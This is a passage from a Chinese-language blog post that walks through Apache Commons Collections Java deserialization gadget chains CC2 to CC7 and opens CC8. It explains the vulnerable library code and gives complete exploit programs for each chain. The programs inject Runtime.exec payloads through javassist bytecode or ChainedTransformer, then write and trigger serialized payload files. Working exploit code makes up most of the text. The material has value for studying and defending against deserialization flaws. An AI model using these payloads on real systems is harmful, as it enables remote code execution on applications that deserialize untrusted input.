if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
这里将一些敏感的代码放到一起；可以看到继heapify方法之后去调用了siftDown方法；在其中判断力comparator是否为空，如果为空就会调用siftDownComparable方法；如果不为空的话就会去调用siftDownUsingComparator方法；追溯一下comparator变量，发现在类的构造器中有其赋值，是可控的；
这里回到heapify方法中，这里通过for循环遍历了queue中的元素，这里有个小坑，很多师傅包括我最开始都认为queue不能被序列化，因为其修饰符的原因，但是这里的for如果想成功触发也就意味着queue需要去序列化成流然后被反序列化拿出执行相应的承接块；那么为什么其可序列化？这里我看了篇文章，其实还是因为我们的PriorityQueue类中，重写了writeObject方法；
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out element count, and any hidden stuff
s.defaultWriteObject();
// Write out array length, for compatibility with 1.5 version
s.writeInt(Math.max(2, size + 1));
// Write out all elements in the "proper order".
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
这里看到是将queue数组中写入了值，然后在readObject的地方发生了for循环去读出queue中的数据的代码，Java是允许对象字节实现序列化方法的，以此来实现对自己的成员控制。
解决了这个点，继续向下看；
在siftDownUsingComparator方法中看到了comparator.compare的调用方式；因为comparator是可控的，这里我们可以参考CC1的思路；所以我们可以传入一个继承Comparator接口的实例，然后去调用到相应类下的compare比较方法；这里原作者使用的是TransformingComparator类；追溯过去；
public class TransformingComparator implements Comparator {
protected Comparator decorated;
protected Transformer transformer;
public TransformingComparator(Transformer transformer) {
this(transformer, new ComparableComparator());
}
public TransformingComparator(Transformer transformer, Comparator decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}
其继承了Comparator接口；而且可以直接调用到compare方法；而且选择这个类的还有一个好处是我们看到了transform方法；而且发现啊transformer是可控的，那么有一种强烈的感觉，这个点和CC1类似；transformer都是继承Transformer接口；那么直接控制transformer为InvokerTransformer类对象；直接去到transform方法；追溯下：
public O transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
可以看到transform方法返回值为任意的类型；那么这个点就很宽松了;下面才是这个链有意思的地方；
可将其input赋值为TemplatesImpl类对象，然后getMethod就为其类对象下的newInstance方法；在这个方法里有我们利用的点：追溯下：
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);
if (this._uriResolver != null) {
transformer.setURIResolver(this._uriResolver);
}
if (this._tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) {
transformer.setSecureProcessing(true);
}
return transformer;
}
在这里面掉用了getTransletInstance方法，继续追溯一下：
private Translet getTransletInstance() throws TransformerConfigurationException {
ErrorMsg err;
try {
if (this._name == null) {
return null;
} else {
if (this._class == null) {
this.defineTransletClasses();
}
AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
if (this._auxClasses != null) {
translet.setAuxiliaryClasses(this._auxClasses);
}
return translet;
}
} catch (InstantiationException var3) {
err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
} catch (IllegalAccessException var4) {
err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
}
}
看到这里进行了._class值的判断，判断其是否为空；然后如果为空的话调用defineTransletClasses方法，这里追溯下：
private void defineTransletClasses() throws TransformerConfigurationException {
if (this._bytecodes == null) {
ErrorMsg err = new ErrorMsg("NO_TRANSLET_CLASS_ERR");
throw new TransformerConfigurationException(err.toString());
} else {
TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());
}
});
ErrorMsg err;
try {
int classCount = this._bytecodes.length;
this._class = new Class[classCount];
if (classCount > 1) {
this._auxClasses = new Hashtable();
}
for(int i = 0; i < classCount; ++i) {
this._class[i] = loader.defineClass(this._bytecodes[i]);
Class superClass = this._class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
this._transletIndex = i;
} else {
this._auxClasses.put(this._class[i].getName(), this._class[i]);
}
}
if (this._transletIndex < 0) {
err = new ErrorMsg("NO_MAIN_TRANSLET_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
}
} catch (ClassFormatError var5) {
err = new ErrorMsg("TRANSLET_CLASS_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
} catch (LinkageError var6) {
err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
}
}
}
漏洞问题承接点在for循环里；这里我们可看到在for循环中，首先拿到`_bytecodes`参数的长度，然后去实力化一个
Class对象，大小为_`bytecodes`的字节长度，然后经过for循环一个一个字节的将其赋值给`._class`属性；这里看你自己构造的class类的大小来定，最后的效果就是将其全部给`._class`属性，然后class属性拿到我们全部自己构造的class；然后进入if判断；判断其superClass是否为`private
static String ABSTRACT_TRANSLET =
"org.apache.xalan.xsltc.runtime.AbstractTranslet";`如果是的话将整体的字节大小赋值给`_transletIndex`；随后进入if的判断，判断其是否小于0，这里因为我们控制其为正数；所以这里直接过if；后面的错误也没有触发；然后直接到命令执行点；
AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();
这里直接将其全部的内容进行newInstance函数实力化，以为class在最开始就是new的Class，所以可以直接进行newInstance方法实力化；然后我们构造的java的字节码中有命令执行的Runtime下的exec命令执行点，直接可触发进行rce；
## 编写exp+思考
先从java的字节码下手，因为最后的判断为含有漏洞的字节码进行实力化，整体的链条主要还是在利用javassist上；我们先自己随便构造个恶意类；然后设置其父类，让其通过TemplatesImpl类下的最后if判断；
public class javassist {
public static class s1mple {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classpool = ClassPool.getDefault();
classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));//加入到路径中
classpool.insertClassPath(new ClassClassPath(s1mple.class));
classpool.insertClassPath(new ClassClassPath(s1mple.class));
CtClass s2mple = classpool.get(s1mple.class.getName());//拿到s1mple的class对象并将其写入到hashtable中；
CtClass s3mple = classpool.get(Class.forName(AbstractTranslet).getName());//拿到AbstractTranslet的class对象并将其写入hashtalb中；
s2mple.setSuperclass(s3mple);//设置父类；（过if）
s2mple.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"touch s1mple.sser\");");
byte[] bt = s2mple.toBytecode();
先来构造一个恶意的class；这里之前引入一个s1mple类，然后拿到其类之后给其添加父类，是为了过最后的执行类的if判断；在恶意的class中加入我们的命令执行点，调用Runtime下的getRuntime方法获取到其对象，然后调用exec方法；直接执行命令；其实核心也就是这个javassist类包的利用；后期就是纯链条；
注意的是如果我们在刚开始的时候没有传入优先级队列中元素，那么size属性在定义中默认为0；那么也就不会导致函数继续向下执行；所以我们这里需要先传入元素；当时我简单看了下源码：
public PriorityQueue(int initialCapacity) {
this(initialCapacity, null);
}
设定元素个数的构造器；效果就是构造指定容量的空数组；这里其实我们是否传入都可，我们继续看下；传入之后继续调用构造器去构造
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
在这里给队列数组queue赋值为initialCapacity大小的存储空间；这里不同构造器之间可以依据形参数量确认并通过this进行调；简单的demo如下：
package com.company;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class test {
int a=0;
String b;
public test(int a){
this(a,"asdf");
}
private test(int a,String b){
this.a =a;
this.b =b;
}
public static void main(String[] args) throws Exception{
test ss= new test(1);
System.out.println(ss.b);//输出asdf；
}
}
回到原题；
我们要想触发其优先级队列排序方法，首先数组里面得存在值才可；所以得先来进行add插入值，否则size为0；将不会进行流程；后期再将其元素调换为TemplatesImpl的实力化对象，方便其利用InvokerTransformer对象下的transform去调用newTransformer方法；这里我测试无论是否在最开始的时候初始化size大小都可以进行下去；随后我简单看了下源码
public boolean add(E e) {
return offer(e);
}
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
当我们后期add的时候，会进行size的统计，并将其add的对象放入到queue数组中去；这也自然不会影响到我们链的走向；还有一个点我在编写exp的时候也遇到，我最开始想直接在实力化优先级队列的时候传入TemplatesImpl对象，然后直接进行链条的拼接，但是会触发ClassLoader的错误，导致两个ClassLoader加载同一个class；所以还是首先拿1来进行站位，随后再修改；
放出最后的exp：
package com.company;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class javassist {
public static class s1mple {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classpool = ClassPool.getDefault();
classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
classpool.insertClassPath(new ClassClassPath(s1mple.class));
classpool.insertClassPath(new ClassClassPath(s1mple.class));
CtClass s2mple = classpool.get(s1mple.class.getName());
CtClass s3mple = classpool.get(Class.forName(AbstractTranslet).getName());
s2mple.setSuperclass(s3mple);
s2mple.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");");//弹出计算器；；
byte[] bt = s2mple.toBytecode();
Class templatesimpl = Class.forName(TemplatesImpl);
Constructor constructor= templatesimpl.getConstructor();
Object temp = constructor.newInstance();
//Object temp = new TemplatesImpl();两种写法含义相同；结果也相同；
Field name = templatesimpl.getDeclaredField("_name");
name.setAccessible(true);
name.set(temp,"s1mple_hack");
Field bytecode = templatesimpl.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(temp,new byte[][]{bt});
PriorityQueue priority = new PriorityQueue();
priority.add(1);
priority.add(1);
TransformingComparator trans = new TransformingComparator(new InvokerTransformer("newTransformer",new Class[]{}, new Object[]{}));
Class pri = priority.getClass();
Field que = pri.getDeclaredField("queue");
que.setAccessible(true);
Object[] innerArr = (Object[]) que.get(priority);
innerArr[0] = temp;
innerArr[1] = temp;
Field com = pri.getDeclaredField("comparator");
com.setAccessible(true);
com.set(priority,trans);
ObjectOutputStream shuchu = new ObjectOutputStream(new FileOutputStream("a.bin"));
shuchu.writeObject(priority);
}
}
到此CC2已经分析完成，这里顺便记录一下CC3的整体流程，因为CC3和CC2其原理基本类似，也就是将其利用的类换了一个，其实本质上还是调用了newInstance方法去进行实力化我们的恶意的class达到rce；
## CommonsCollections3
其变化的点是InvokerTransformer类换成了InstantiateTransformer类，这里追溯下InstantiateTransformer类下的transform方法；
public T transform(Class<? extends T> input) {
try {
if (input == null) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
} else {
Constructor<? extends T> con = input.getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var3) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var4) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var4);
} catch (IllegalAccessException var5) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var5);
} catch (InvocationTargetException var6) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var6);
}
}
不同版本的jdk其源码写法有差异，我的版本是java8u112；
简单的审计下不难发现是将input传入的Class对象进行了实力化操作；通过反射拿到input也即是传入的Class对象的构造器；获得传入形参的类型，然后newInstance进行调用；直接实力化对象；
### 直接放出exp，没啥好说的；
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC3 {
public static class s1mple {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classpool = ClassPool.getDefault();
classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
classpool.insertClassPath(new ClassClassPath(s1mple.class));
classpool.insertClassPath(new ClassClassPath(s1mple.class));
CtClass s2mple = classpool.get(s1mple.class.getName());
CtClass s3mple = classpool.get(Class.forName(AbstractTranslet).getName());
s2mple.setSuperclass(s3mple);
s2mple.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");");
byte[] bt = s2mple.toBytecode();
Class templatesimpl = Class.forName(TemplatesImpl);
Constructor constructor= templatesimpl.getConstructor();
Object temp = constructor.newInstance();
//Object temp = new TemplatesImpl();
Field name = templatesimpl.getDeclaredField("_name");
name.setAccessible(true);
name.set(temp,"s1mple_hack");
Field bytecode = templatesimpl.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(temp,new byte[][]{bt});
//////////
PriorityQueue priority = new PriorityQueue();
//System.out.println(priority);
priority.add(1);
priority.add(1);
InstantiateTransformer instan = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{temp});
Transformer instans = (Transformer)instan;
TransformingComparator trans = new TransformingComparator(instans);
Class pri = priority.getClass();
Field com = pri.getDeclaredField("comparator");
com.setAccessible(true);
com.set(priority,trans);
Field que = pri.getDeclaredField("queue");
que.setAccessible(true);
Class TrA = TrAXFilter.class;
Object[] innerArr = (Object[]) que.get(priority);
innerArr[0] = TrA;
innerArr[1] = TrA;
ObjectOutputStream shuchu = new ObjectOutputStream(new FileOutputStream("a.bin"));
shuchu.writeObject(priority);
//test一下
ObjectInputStream test = new ObjectInputStream(new FileInputStream("a.bin"));
test.readObject();
}
}
唯一的遗憾是，中途碰到了个弱智的视力问题，因为没看清楚代码，导致了exp推迟两个小时出，中途还为学校的一些事伤脑没认真看，中途一直在debug，太糙了；；要不然可以根据之前的exp一分钟出，裂开；；
## CommonsCollections4
## exp+思考
这个链条也挺简单的，只是将我们前半部分的利用链换成了我们CC链1当中的利用链条；去调用任意类下的任意方法，这里直接去调用到我们最后Transformer类下的newTransformer方法去加载我们的恶意class；本质还是一样的，只不过是组合不一样而已；拿着之前写的exp稍微改改就成了新的exp；但是这个exp和之前的第一版本的exp一样，都是对jdk的版本有要求，在拿u66及以下版本的时候可以成功运行，
最开始跑的时候没结果，还以为写的有问题，后来想了下之前cc1的时候因为版本限制导致readObject下的memberValue被篡改而导致无法进行代理的完成。而cc4和cc1基本前部流程一样，那就直接换版本为u66（因为这个前期的链条在高版本中修复），进行运行弹出计算器；success；；
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC4 {
public static class s1mple {
}
public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classpool = ClassPool.getDefault();
classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
classpool.insertClassPath(new ClassClassPath(s1mple.class));
classpool.insertClassPath(new ClassClassPath(s1mple.class));
CtClass s2mple = classpool.get(s1mple.class.getName());
CtClass s3mple = classpool.get(Class.forName(AbstractTranslet).getName());
s2mple.setSuperclass(s3mple);
s2mple.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");");
byte[] bt = s2mple.toBytecode();
Class templatesimpl = Class.forName(TemplatesImpl);
Constructor constructor= templatesimpl.getConstructor();
Object temp = constructor.newInstance();
Field name = templatesimpl.getDeclaredField("_name");
name.setAccessible(true);
name.set(temp,"s1mple_hack");
Field bytecode = templatesimpl.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(temp,new byte[][]{bt});
String Annotation = "sun.reflect.annotation.AnnotationInvocationHandler";
String lazy = "org.apache.commons.collections.map.LazyMap";
String invoke = "org.apache.commons.collections.functors.InvokerTransformer";
Transformer[] tran = new Transformer[]{new ConstantTransformer(temp),new InvokerTransformer("newTransformer",null,null)};
Transformer chaintransform = new ChainedTransformer(tran);
HashMap hashmap = new HashMap<String,String>();
Class Lazy = Class.forName(lazy);
Constructor lazycon = Lazy.getDeclaredConstructor(Map.class, Transformer.class);
lazycon.setAccessible(true);
Object lay = lazycon.newInstance(hashmap,chaintransform);//调用chaintrsfrom下的for循环；
Map lays = (Map)lay;
Class Annotations = Class.forName(Annotation);
Constructor constructor1 = Annotations.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object s1mple = constructor1.newInstance(Override.class,lays);//调用get；
InvocationHandler ssdd = (InvocationHandler)s1mple;//强行转化 ；
Map proxy = (Map)Proxy.newProxyInstance(lay.getClass().getClassLoader(),lay.getClass().getInterfaces(),ssdd);
InvocationHandler smple = (InvocationHandler)constructor1.newInstance(Override.class,proxy);//invoke
ObjectOutputStream yy = new ObjectOutputStream(new FileOutputStream("aa.bin"));
yy.writeObject(smple);
ObjectInputStream what = new ObjectInputStream(new FileInputStream("aa.bin"));
what.readObject();
}
}
## CommonsCollections5
这个链条虽说可以和前面的链条利用方式区别开，但是我感觉从本质上来说也只是换了种get的触发方法；网上的链条是利用新的触发get点和CC1的后半段进行连接，这里我简单的做了和CC2做个链接，自己简单的做了个挖掘；本身上还是换汤不换药；来看下；新引入的类为BadAttributeValueExpException和TiedMapEntry类；来看下内容；
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
来简单的看下，valObj是拿到val后赋值；然后判断其是否为空，如果为空则val赋值为null；否则将进行其他if判断，当SecurityManager未设置的时候会直接满足，调用valObj下的toString方法；这里引入TiedMapEntry类；
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}
这里发现调用了getKey和getValue方法；追溯看看；
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
这里可以看到map.get，那就和LazyMap下的get方法很相似了；直接用这两个类代替之前的代理方法触发invoke然后触发get的点，达到最后加载恶意的class去进行rce；
## exp如下：
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static class s1mple {
}
public static void main(String[] args) throws Exception{
String lazymap = "org.apache.commons.collections.map.LazyMap";
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classpool = ClassPool.getDefault();
classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
classpool.insertClassPath(new ClassClassPath(s1mple.class));
classpool.insertClassPath(new ClassClassPath(s1mple.class));
CtClass s2mple = classpool.get(s1mple.class.getName());
CtClass s3mple = classpool.get(Class.forName(AbstractTranslet).getName());
s2mple.setSuperclass(s3mple);
s2mple.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");");
byte[] bt = s2mple.toBytecode();
Class templatesimpl = Class.forName(TemplatesImpl);
Constructor constructor= templatesimpl.getConstructor();
Object temp = constructor.newInstance();
Field name = templatesimpl.getDeclaredField("_name");
name.setAccessible(true);
name.set(temp,"s1mple_hack");
Field bytecode = templatesimpl.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(temp,new byte[][]{bt});
HashMap hash = new HashMap<String,String>();
Map hashmap = (Map)hash;
Class lazy = Class.forName(lazymap);
Constructor lazycon = lazy.getDeclaredConstructor(Map.class,Transformer.class);
lazycon.setAccessible(true);
Transformer[] transformers = new Transformer[]{new ConstantTransformer(temp),new InvokerTransformer("newTransformer",null,null)};
Transformer chained = new ChainedTransformer(transformers);
Object lazyss = lazycon.newInstance(hashmap,chained);//LazyMap实力化对象；
Map lazyMap = (Map)lazyss;
Class bad = javax.management.BadAttributeValueExpException.class;
Field val = bad.getDeclaredField("val");
val.setAccessible(true);
BadAttributeValueExpException as = new BadAttributeValueExpException("s1mple");
TiedMapEntry tied = new TiedMapEntry(lazyMap,"s1mple");
val.set(as,tied);
ObjectOutputStream exp = new ObjectOutputStream(new FileOutputStream("c.bin"));
exp.writeObject(as);
ObjectInputStream test = new ObjectInputStream(new FileInputStream("c.bin"));
test.readObject();
}
}
不太难理解；
## CommonsCollections6
看到了5的用法，在6中也可以进行类似的用法，将最后rce的触发点换成之前Runtime下的exec方法触发；也可导致rce；没什么好说的了；限制条件也和之前的那个链一样，SecurityManager未设置的时候可以触发；
## exp如下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
String lazymap = "org.apache.commons.collections.map.LazyMap";
String chain = "org.apache.commons.collections.functors.ChainedTransformer";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}}),
};
HashMap hash = new HashMap<String,String>();
Map hashmap = (Map)hash;
Class lazy = Class.forName(lazymap);
Constructor lazycno = lazy.getDeclaredConstructor(Map.class,Transformer.class);
lazycno.setAccessible(true);
ChainedTransformer chains = new ChainedTransformer(transformers);
Transformer chs = (Transformer)chains;
Object lazyMap = lazycno.newInstance(hashmap,chs);
Map la = (Map)lazyMap;
Class bad = javax.management.BadAttributeValueExpException.class;
Field val = bad.getDeclaredField("val");
val.setAccessible(true);
BadAttributeValueExpException as = new BadAttributeValueExpException("s1mple");
TiedMapEntry tied = new TiedMapEntry(la,"s1mple");
val.set(as,tied);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("exp.bin"));
out.writeObject(as);
ObjectInputStream test = new ObjectInputStream(new FileInputStream("exp.bin"));
test.readObject();
}
}
弹出计算器success；
## 思考
其实反观这几个链条，都是利用了ChainedTransformer下的for循环去进行调用，其中也不乏用到了InvokerTransformer下的方法；然而org.apache.commons.collections4.functors.InvokerTransformer的transform和org.apache.commons.collections.functors.InvokerTransformer是差不多一样的，我们只需要将这个变换一下就又可以多出几个链条，但是也会受相应的版本的限制；不过这些也没什么分析的意义，在这里就不分析了；点一下；
## CommonsCollections7
先来看下调用栈；
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
这里看到是在HashSet下进行反序列化，然后到HashMap下进行hashCode的跳转；追溯下函数：HashMap下的hash方法；但是在HashMap下已经存在了readObject方法，所以这里也就不去挂到HashSet类下了；直接HashMap走起；
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
可以看到这里调用了key对象下的hashCode方法；在TiedMapEntry类下也存在hashCode函数，追溯一下：
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
可以看到也调用了getValue和getKey方法；是否看到了上一个链条的影子？那其实也没有什么悬念了；
直接exp吧；不是很难理解，基本就是换了下前面的链条，后面的exec还是调用Runtime下的，其实也可转为加载恶意class去进行rce；其实也是换汤不换药；
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
String lazymap = "org.apache.commons.collections.map.LazyMap";
String chain = "org.apache.commons.collections.functors.ChainedTransformer";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}}),
};
ChainedTransformer chains = new ChainedTransformer(transformers);
HashMap hashmap = new HashMap();
Map hash = (Map)hashmap;
Class lazy = Class.forName(lazymap);
Constructor lazyconstructor = lazy.getDeclaredConstructor(Map.class,Transformer.class);
lazyconstructor.setAccessible(true);
Object lazyMap =lazyconstructor.newInstance(hash,chains);
Map lazys = (Map)lazyMap;
HashMap hashmaps = new HashMap<Object,String>();
TiedMapEntry tied = new TiedMapEntry(lazys,"s1mple");
hashmaps.put(tied,"s1mple");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("exp.ser"));
out.writeObject(hashmaps);
ObjectInputStream test = new ObjectInputStream(new FileInputStream("exp.ser"));
test.readObject();
}
}
## CommonsCollections8
先来看看调用栈；
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
